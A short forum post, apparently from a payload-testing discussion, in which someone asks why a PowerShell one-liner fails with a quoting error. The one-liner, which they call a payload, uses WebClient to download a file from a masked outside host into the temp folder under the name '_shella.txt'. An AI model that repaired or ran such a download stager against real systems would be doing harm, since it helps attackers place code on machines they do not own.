Ok, I must be doing something wrong with this payload. Everytime I try to run the payload, I get the following:
C:\Users\xxxx>powershell -noprofile -noninteractive -command "& {$client=new-object system.net.webclient;$client.downloadfile("http://x.x.x.x/26.
txt", "$env:temp\_shella.txt")}"
Missing ')' in method call.
At line:1 char:65
+ & {$client=new-object system.net.webclient;$client.downloadfile( <<<< http://x.x.x.x/26.txt, $env:temp\_shella.txt)}
+ CategoryInfo : ParserError: (CloseParenToken:TokenId) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : MissingEndParenthesisInMethodCall
I can't even get it to run right from the command line. I can get it to run if I break it up. If I run powershell first, then execute the new-object downloadfile portion, the file downloads fine. I'm running this on Windows 7 Enterprise. Any ideas?
Rare
Rare
Rare
